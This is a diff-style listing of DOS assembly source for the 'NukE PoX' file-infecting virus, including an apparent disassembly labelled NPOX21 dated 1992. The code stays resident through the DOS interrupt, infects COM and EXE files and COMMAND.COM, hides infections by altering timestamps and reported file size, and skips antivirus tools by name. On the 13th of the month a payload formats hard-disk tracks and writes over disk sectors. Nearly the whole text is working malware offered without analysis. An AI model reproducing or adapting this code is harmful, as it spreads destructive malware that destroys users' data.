|
||||
je bad_file ;Yupe...
|
||||
next_1:
|
||||
cmp ds:[si-2],'NA' ;Is it SCAN.EXE (McAffee)
|
||||
jne next_2 ;Naaa
|
||||
cmp ds:[si-4],'CS'
|
||||
je bad_file ;Yupe...
|
||||
next_2:
|
||||
cmp ds:[si-2],'NA' ;is it ?LEAN.EXE (Clean.EXE
|
||||
jne next_3 ;Naaa
|
||||
cmp ds:[si-4],'EL'
|
||||
je bad_file ;Yupe...
|
||||
next_3:
|
||||
pop cx
|
||||
pop si ;good file Set CARRY FLAG
|
||||
clc ;to normal
|
||||
retn
|
||||
bad_file:
|
||||
pop cx ;Bad file, Set CARRY FLAG
|
||||
pop si ;ON!!!
|
||||
stc
|
||||
retn
|
||||
check_name endp
|
||||
|
||||
command db "C:\COMMAND.COM",0 ;What to infect!
|
||||
old_time dw ?
|
||||
old_date dw ?
|
||||
jump_address db 0E9h,90h,90h
|
||||
buffer db 90h,0CDh,020h
|
||||
db 30h DUP (?)
|
||||
msg db "NukE PoX V1.1 - R.S"
|
||||
last:
|
||||
seg_a ends
|
||||
|
||||
end start
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,941 @@
|
|||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ NPOX21 ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 28-Sep-92 ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_1e equ 16h
|
||||
data_2e equ 3 ;*
|
||||
data_32e equ 103h ;*
|
||||
data_33e equ 1 ;*
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
npox21 proc far
|
||||
|
||||
start:
|
||||
jmp short $+3 ; delay for I/O
|
||||
nop
|
||||
call sub_1
|
||||
|
||||
npox21 endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_1 proc near
|
||||
pop bp
|
||||
sub bp,106h
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push es
|
||||
push ds
|
||||
mov ah,2Ah ; '*'
|
||||
int 21h ; DOS Services ah=function 2Ah
|
||||
; get date, cx=year, dh=month
|
||||
; dl=day, al=day-of-week 0=SUN
|
||||
cmp dl,0Dh
|
||||
je loc_2 ; Jump if equal
|
||||
jmp short loc_5
|
||||
db 90h
|
||||
loc_2:
|
||||
mov ch,0
|
||||
|
||||
locloop_3:
|
||||
mov ah,5
|
||||
mov dh,0
|
||||
mov dl,80h
|
||||
int 13h ; Disk dl=drive 0 ah=func 05h
|
||||
; format track=ch or cylindr=cx
|
||||
; al=interleave, dh=head
|
||||
inc ch
|
||||
jc loc_4 ; Jump if carry Set
|
||||
cmp ch,10h
|
||||
loopnz locloop_3 ; Loop if zf=0, cx>0
|
||||
|
||||
loc_4:
|
||||
mov al,2
|
||||
mov cx,20h
|
||||
mov dx,0
|
||||
int 26h ; Absolute disk write, drive al
|
||||
; if disk under 32MB, dx=start
|
||||
; cx=#sectors, ds:bx=buffer
|
||||
; else cx=-1, ds:dx=parm block
|
||||
;* jmp far ptr loc_66 ;*
|
||||
db 0EAh,0F0h,0FFh,0FFh,0FFh
|
||||
loc_5:
|
||||
mov ax,0ABDCh
|
||||
int 21h ; ??INT Non-standard interrupt
|
||||
cmp bx,0ABDCh
|
||||
je loc_6 ; Jump if equal
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,es
|
||||
mov ax,3521h
|
||||
int 21h ; DOS Services ah=function 35h
|
||||
; get intrpt vector al in es:bx
|
||||
mov word ptr cs:data_10+2[bp],es
|
||||
mov cs:data_10[bp],bx
|
||||
dec cx
|
||||
mov es,cx
|
||||
mov bx,es:data_2e
|
||||
mov dx,696h
|
||||
mov cl,4
|
||||
shr dx,cl ; Shift w/zeros fill
|
||||
add dx,4
|
||||
mov cx,es
|
||||
sub bx,dx
|
||||
inc cx
|
||||
mov es,cx
|
||||
mov ah,4Ah ; 'J'
|
||||
int 21h ; DOS Services ah=function 4Ah
|
||||
; change memory allocation
|
||||
; bx=bytes/16, es=mem segment
|
||||
jc loc_6 ; Jump if carry Set
|
||||
mov ah,48h ; 'H'
|
||||
dec dx
|
||||
mov bx,dx
|
||||
int 21h ; DOS Services ah=function 48h
|
||||
; allocate memory, bx=bytes/16
|
||||
jc loc_6 ; Jump if carry Set
|
||||
dec ax
|
||||
mov es,ax
|
||||
mov cx,8
|
||||
mov es:data_33e,cx
|
||||
sub ax,0Fh
|
||||
mov di,data_32e
|
||||
mov es,ax
|
||||
mov si,bp
|
||||
add si,103h
|
||||
mov cx,696h
|
||||
cld ; Clear direction
|
||||
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
|
||||
mov ax,2521h
|
||||
;* mov dx,offset loc_65 ;*
|
||||
db 0BAh, 8Eh, 02h
|
||||
push es
|
||||
pop ds
|
||||
int 21h ; DOS Services ah=function 25h
|
||||
; set intrpt vector al to ds:dx
|
||||
loc_6:
|
||||
push cs
|
||||
pop ds
|
||||
cmp cs:data_21[bp],5A4Dh
|
||||
je loc_7 ; Jump if equal
|
||||
mov bx,offset data_21
|
||||
add bx,bp
|
||||
mov ax,[bx]
|
||||
mov word ptr ds:[100h],ax
|
||||
inc bx
|
||||
inc bx
|
||||
mov al,[bx]
|
||||
mov byte ptr ds:[102h],al
|
||||
pop ds
|
||||
pop es
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,offset start
|
||||
push ax
|
||||
retn
|
||||
db 'Death to Separatist'
|
||||
db 0
|
||||
loc_7:
|
||||
mov bx,word ptr cs:data_12[bp]
|
||||
mov dx,cs
|
||||
sub dx,bx
|
||||
mov ax,dx
|
||||
add ax,cs:data_14[bp]
|
||||
add dx,cs:data_16[bp]
|
||||
mov bx,cs:data_13[bp]
|
||||
mov word ptr cs:[236h][bp],bx
|
||||
mov word ptr cs:[238h][bp],ax
|
||||
mov ax,cs:data_13[bp]
|
||||
mov word ptr cs:[22Ch][bp],dx
|
||||
mov word ptr cs:[232h][bp],ax
|
||||
pop ds
|
||||
pop es
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,0
|
||||
cli ; Disable interrupts
|
||||
mov ss,ax
|
||||
mov sp,0
|
||||
sti ; Enable interrupts
|
||||
;* jmp far ptr loc_1 ;*
|
||||
sub_1 endp
|
||||
|
||||
db 0EAh, 00h, 00h, 00h, 00h
|
||||
loc_8:
|
||||
call sub_2
|
||||
test al,al
|
||||
jnz loc_ret_15 ; Jump if not zero
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ; 'Q'
|
||||
int 21h ; DOS Services ah=function 51h
|
||||
; get active PSP segment in bx
|
||||
;* undocumented function
|
||||
mov es,bx
|
||||
cmp bx,es:data_1e
|
||||
jne loc_14 ; Jump if not equal
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2Fh ; '/'
|
||||
int 21h ; DOS Services ah=function 2Fh
|
||||
; get DTA ptr into es:bx
|
||||
pop ax
|
||||
inc al
|
||||
jnz loc_13 ; Jump if not zero
|
||||
add bx,7
|
||||
loc_13:
|
||||
mov ax,es:[bx+17h]
|
||||
and ax,1Fh
|
||||
cmp al,1Eh
|
||||
jne loc_14 ; Jump if not equal
|
||||
and byte ptr es:[bx+17h],0E0h
|
||||
sub word ptr es:[bx+1Dh],696h
|
||||
sbb word ptr es:[bx+1Fh],0
|
||||
loc_14:
|
||||
pop es
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
loc_ret_15:
|
||||
iret ; Interrupt return
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_2 proc near
|
||||
pushf ; Push flags
|
||||
call dword ptr cs:data_10
|
||||
retn
|
||||
sub_2 endp
|
||||
|
||||
db 0EBh,0B0h
|
||||
data_10 dw 0, 0 ; Data table (indexed access)
|
||||
db 80h,0FCh, 11h, 74h,0F5h, 80h
|
||||
db 0FCh, 12h, 74h,0F0h, 3Dh, 00h
|
||||
db 4Bh, 74h, 27h, 80h,0FCh, 3Dh
|
||||
db 74h, 12h, 80h,0FCh, 3Eh, 74h
|
||||
db 15h, 3Dh,0DCh,0ABh, 75h, 02h
|
||||
db 8Bh,0D8h
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_3 proc near
|
||||
jmp dword ptr cs:data_10
|
||||
db 0CBh
|
||||
db 0E8h,0BFh, 00h, 2Eh,0FFh, 2Eh
|
||||
db 8Ah, 02h
|
||||
db 0E8h,0E1h, 00h, 2Eh,0FFh, 2Eh
|
||||
db 8Ah, 02h
|
||||
db 0E8h,0ECh, 01h, 52h, 9Ch, 0Eh
|
||||
db 0E8h,0E1h,0FFh, 5Ah, 50h, 53h
|
||||
db 51h, 52h, 1Eh,0E8h, 00h, 03h
|
||||
db 0E8h, 82h, 02h, 72h, 1Eh,0B8h
|
||||
db 00h, 43h,0E8h,0A0h,0FFh, 72h
|
||||
db 16h,0F6h,0C1h, 01h, 74h, 0Bh
|
||||
db 80h,0E1h,0FEh,0B8h, 01h, 43h
|
||||
db 0E8h, 90h,0FFh
|
||||
db 72h, 66h
|
||||
loc_21:
|
||||
mov ax,3D02h
|
||||
call sub_2
|
||||
loc_22:
|
||||
jc loc_24 ; Jump if carry Set
|
||||
mov bx,ax
|
||||
call sub_12
|
||||
jz loc_24 ; Jump if zero
|
||||
push cs
|
||||
pop ds
|
||||
mov data_18,cx
|
||||
mov data_19,dx
|
||||
mov ah,3Fh ; '?'
|
||||
mov cx,1Bh
|
||||
mov dx,77Eh
|
||||
call sub_2
|
||||
jc loc_23 ; Jump if carry Set
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_2
|
||||
jc loc_23 ; Jump if carry Set
|
||||
cmp data_21,5A4Dh
|
||||
je loc_25 ; Jump if equal
|
||||
mov cx,ax
|
||||
sub cx,3
|
||||
mov data_20,cx
|
||||
call sub_6
|
||||
jc loc_24 ; Jump if carry Set
|
||||
mov ah,40h ; '@'
|
||||
mov dx,760h
|
||||
mov cx,3
|
||||
call sub_2
|
||||
loc_23:
|
||||
mov cx,data_18
|
||||
mov dx,data_19
|
||||
mov ax,5701h
|
||||
call sub_2
|
||||
mov ah,3Eh ; '>'
|
||||
call sub_2
|
||||
loc_24:
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
iret ; Interrupt return
|
||||
loc_25:
|
||||
call sub_15
|
||||
jc loc_24 ; Jump if carry Set
|
||||
call sub_16
|
||||
call sub_13
|
||||
jmp short loc_23
|
||||
sub_3 endp
|
||||
|
||||
data_12 db 0, 0 ; Data table (indexed access)
|
||||
data_13 dw 0 ; Data table (indexed access)
|
||||
data_14 dw 0 ; Data table (indexed access)
|
||||
data_15 dw 0
|
||||
data_16 dw 0 ; Data table (indexed access)
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_4 proc near
|
||||
call sub_8
|
||||
jnc loc_26 ; Jump if carry=0
|
||||
call sub_9
|
||||
jnc loc_26 ; Jump if carry=0
|
||||
retn
|
||||
loc_26:
|
||||
push ax
|
||||
mov ax,3D02h
|
||||
call sub_2
|
||||
jnc loc_27 ; Jump if carry=0
|
||||
pop ax
|
||||
iret ; Interrupt return
|
||||
loc_27:
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
mov bx,ax
|
||||
call sub_12
|
||||
jnz loc_28 ; Jump if not zero
|
||||
call sub_17
|
||||
loc_28:
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
retn
|
||||
sub_4 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_5 proc near
|
||||
cmp bx,0
|
||||
je loc_ret_29 ; Jump if equal
|
||||
cmp bx,5
|
||||
ja loc_30 ; Jump if above
|
||||
|
||||
loc_ret_29:
|
||||
retn
|
||||
loc_30:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
push bp
|
||||
push bx
|
||||
mov ax,1220h
|
||||
int 2Fh ; DOS Internal services
|
||||
;* undocumented function
|
||||
mov ax,1216h
|
||||
mov bl,es:[di]
|
||||
int 2Fh ; DOS Internal services
|
||||
;* undocumented function
|
||||
pop bx
|
||||
add di,11h
|
||||
mov byte ptr es:[di-0Fh],2
|
||||
add di,17h
|
||||
cmp word ptr es:[di],4F43h
|
||||
jne loc_31 ; Jump if not equal
|
||||
cmp byte ptr es:[di+2],4Dh ; 'M'
|
||||
jne loc_34 ; Jump if not equal
|
||||
jmp short loc_35
|
||||
db 90h
|
||||
loc_31:
|
||||
cmp word ptr es:[di],5845h
|
||||
jne loc_34 ; Jump if not equal
|
||||
cmp byte ptr es:[di+2],45h ; 'E'
|
||||
jne loc_34 ; Jump if not equal
|
||||
cmp word ptr es:[di-8],4353h
|
||||
jne loc_32 ; Jump if not equal
|
||||
cmp word ptr es:[di-6],4E41h
|
||||
je loc_34 ; Jump if equal
|
||||
loc_32:
|
||||
cmp word ptr es:[di-8],2D46h
|
||||
jne loc_33 ; Jump if not equal
|
||||
cmp word ptr es:[di-6],5250h
|
||||
je loc_34 ; Jump if equal
|
||||
loc_33:
|
||||
cmp word ptr es:[di-8],4C43h
|
||||
jne loc_35 ; Jump if not equal
|
||||
cmp word ptr es:[di-6],4145h
|
||||
jne loc_35 ; Jump if not equal
|
||||
loc_34:
|
||||
jmp short loc_37
|
||||
db 90h
|
||||
loc_35:
|
||||
call sub_12
|
||||
jz loc_37 ; Jump if zero
|
||||
push cs
|
||||
pop ds
|
||||
mov data_18,cx
|
||||
mov data_19,dx
|
||||
mov ax,4200h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_2
|
||||
mov ah,3Fh ; '?'
|
||||
mov cx,1Bh
|
||||
mov dx,77Eh
|
||||
call sub_2
|
||||
jc loc_36 ; Jump if carry Set
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_2
|
||||
jc loc_36 ; Jump if carry Set
|
||||
cmp data_21,5A4Dh
|
||||
je loc_38 ; Jump if equal
|
||||
mov cx,ax
|
||||
sub cx,3
|
||||
mov data_20,cx
|
||||
call sub_6
|
||||
jc loc_36 ; Jump if carry Set
|
||||
mov ah,40h ; '@'
|
||||
mov dx,760h
|
||||
mov cx,3
|
||||
call sub_2
|
||||
loc_36:
|
||||
mov cx,data_18
|
||||
mov dx,data_19
|
||||
mov ax,5701h
|
||||
call sub_2
|
||||
loc_37:
|
||||
pop bp
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
retn
|
||||
loc_38:
|
||||
call sub_15
|
||||
jc loc_36 ; Jump if carry Set
|
||||
call sub_16
|
||||
call sub_13
|
||||
jmp short loc_36
|
||||
sub_5 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_6 proc near
|
||||
mov ah,40h ; '@'
|
||||
mov dx,103h
|
||||
mov cx,696h
|
||||
call sub_2
|
||||
jc loc_39 ; Jump if carry Set
|
||||
mov ax,4200h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_2
|
||||
jc loc_39 ; Jump if carry Set
|
||||
clc ; Clear carry flag
|
||||
retn
|
||||
loc_39:
|
||||
stc ; Set carry flag
|
||||
retn
|
||||
sub_6 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_7 proc near
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
mov ax,4300h
|
||||
call sub_2
|
||||
test cl,1
|
||||
jz loc_40 ; Jump if zero
|
||||
and cl,0FEh
|
||||
mov ax,4301h
|
||||
call sub_2
|
||||
jc loc_41 ; Jump if carry Set
|
||||
loc_40:
|
||||
mov ax,3D02h
|
||||
call sub_2
|
||||
jc loc_41 ; Jump if carry Set
|
||||
mov bx,ax
|
||||
call sub_12
|
||||
jnz loc_41 ; Jump if not zero
|
||||
call sub_17
|
||||
loc_41:
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
retn
|
||||
sub_7 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_8 proc near
|
||||
push si
|
||||
push cx
|
||||
mov si,dx
|
||||
mov cx,256h
|
||||
|
||||
locloop_42:
|
||||
cmp byte ptr [si],2Eh ; '.'
|
||||
je loc_43 ; Jump if equal
|
||||
inc si
|
||||
loop locloop_42 ; Loop if cx > 0
|
||||
|
||||
loc_43:
|
||||
cmp word ptr [si+1],4F43h
|
||||
jne loc_44 ; Jump if not equal
|
||||
cmp byte ptr [si+3],4Dh ; 'M'
|
||||
je loc_46 ; Jump if equal
|
||||
loc_44:
|
||||
cmp word ptr [si+1],6F63h
|
||||
jne loc_45 ; Jump if not equal
|
||||
cmp byte ptr [si+3],6Dh ; 'm'
|
||||
je loc_46 ; Jump if equal
|
||||
loc_45:
|
||||
pop cx
|
||||
pop si
|
||||
stc ; Set carry flag
|
||||
retn
|
||||
loc_46:
|
||||
pop cx
|
||||
pop si
|
||||
clc ; Clear carry flag
|
||||
retn
|
||||
sub_8 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_9 proc near
|
||||
push si
|
||||
push cx
|
||||
mov si,dx
|
||||
mov cx,256h
|
||||
|
||||
locloop_47:
|
||||
cmp byte ptr [si],2Eh ; '.'
|
||||
je loc_48 ; Jump if equal
|
||||
inc si
|
||||
loop locloop_47 ; Loop if cx > 0
|
||||
|
||||
loc_48:
|
||||
cmp word ptr [si+1],5845h
|
||||
jne loc_49 ; Jump if not equal
|
||||
cmp byte ptr [si+3],45h ; 'E'
|
||||
je loc_51 ; Jump if equal
|
||||
loc_49:
|
||||
cmp word ptr [si+1],7865h
|
||||
jne loc_50 ; Jump if not equal
|
||||
cmp byte ptr [si+3],65h ; 'e'
|
||||
je loc_51 ; Jump if equal
|
||||
loc_50:
|
||||
pop cx
|
||||
pop si
|
||||
stc ; Set carry flag
|
||||
retn
|
||||
loc_51:
|
||||
pop cx
|
||||
pop si
|
||||
clc ; Clear carry flag
|
||||
retn
|
||||
sub_9 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_10 proc near
|
||||
push bx
|
||||
push cx
|
||||
mov cl,0Ch
|
||||
shl dx,cl ; Shift w/zeros fill
|
||||
xchg ax,bx
|
||||
mov cl,4
|
||||
shr bx,cl ; Shift w/zeros fill
|
||||
and ax,0Fh
|
||||
add dx,bx
|
||||
pop cx
|
||||
pop bx
|
||||
retn
|
||||
sub_10 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_11 proc near
|
||||
push si
|
||||
push cx
|
||||
mov si,dx
|
||||
mov cx,256h
|
||||
|
||||
locloop_52:
|
||||
cmp byte ptr [si],2Eh ; '.'
|
||||
je loc_53 ; Jump if equal
|
||||
inc si
|
||||
loop locloop_52 ; Loop if cx > 0
|
||||
|
||||
loc_53:
|
||||
cmp word ptr [si-2],4E41h
|
||||
jne loc_54 ; Jump if not equal
|
||||
cmp word ptr [si-4],4353h
|
||||
je loc_57 ; Jump if equal
|
||||
loc_54:
|
||||
cmp word ptr [si-2],4E41h
|
||||
jne loc_55 ; Jump if not equal
|
||||
cmp word ptr [si-4],454Ch
|
||||
je loc_57 ; Jump if equal
|
||||
loc_55:
|
||||
cmp word ptr [si-2],544Fh
|
||||
jne loc_56 ; Jump if not equal
|
||||
cmp word ptr [si-4],5250h
|
||||
je loc_57 ; Jump if equal
|
||||
loc_56:
|
||||
pop cx
|
||||
pop si
|
||||
clc ; Clear carry flag
|
||||
retn
|
||||
loc_57:
|
||||
pop cx
|
||||
pop si
|
||||
stc ; Set carry flag
|
||||
retn
|
||||
sub_11 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_12 proc near
|
||||
mov ax,5700h
|
||||
call sub_2
|
||||
mov al,cl
|
||||
or cl,1Fh
|
||||
dec cx
|
||||
xor al,cl
|
||||
retn
|
||||
sub_12 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_13 proc near
|
||||
push bx
|
||||
push cx
|
||||
mov cl,7
|
||||
shl dx,cl ; Shift w/zeros fill
|
||||
mov bx,ax
|
||||
mov cl,9
|
||||
shr bx,cl ; Shift w/zeros fill
|
||||
add dx,bx
|
||||
and ax,1FFh
|
||||
jz loc_58 ; Jump if zero
|
||||
inc dx
|
||||
loc_58:
|
||||
pop cx
|
||||
pop bx
|
||||
mov cs:data_22,ax
|
||||
mov cs:data_24,dx
|
||||
mov ah,40h ; '@'
|
||||
mov dx,77Eh
|
||||
mov cx,1Bh
|
||||
call sub_2
|
||||
retn
|
||||
sub_13 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_14 proc near
|
||||
pushf ; Push flags
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
push ss
|
||||
push sp
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,74Bh
|
||||
mov ax,4300h
|
||||
call sub_2
|
||||
jc loc_60 ; Jump if carry Set
|
||||
test cl,1
|
||||
jz loc_59 ; Jump if zero
|
||||
and cl,0FEh
|
||||
mov ax,4301h
|
||||
call sub_2
|
||||
jc loc_62 ; Jump if carry Set
|
||||
loc_59:
|
||||
mov ax,3D02h
|
||||
call sub_2
|
||||
loc_60:
|
||||
jc loc_62 ; Jump if carry Set
|
||||
mov bx,ax
|
||||
call sub_12
|
||||
jz loc_62 ; Jump if zero
|
||||
mov data_18,cx
|
||||
mov data_19,dx
|
||||
mov ah,3Fh ; '?'
|
||||
mov cx,3
|
||||
mov dx,77Eh
|
||||
call sub_2
|
||||
jc loc_61 ; Jump if carry Set
|
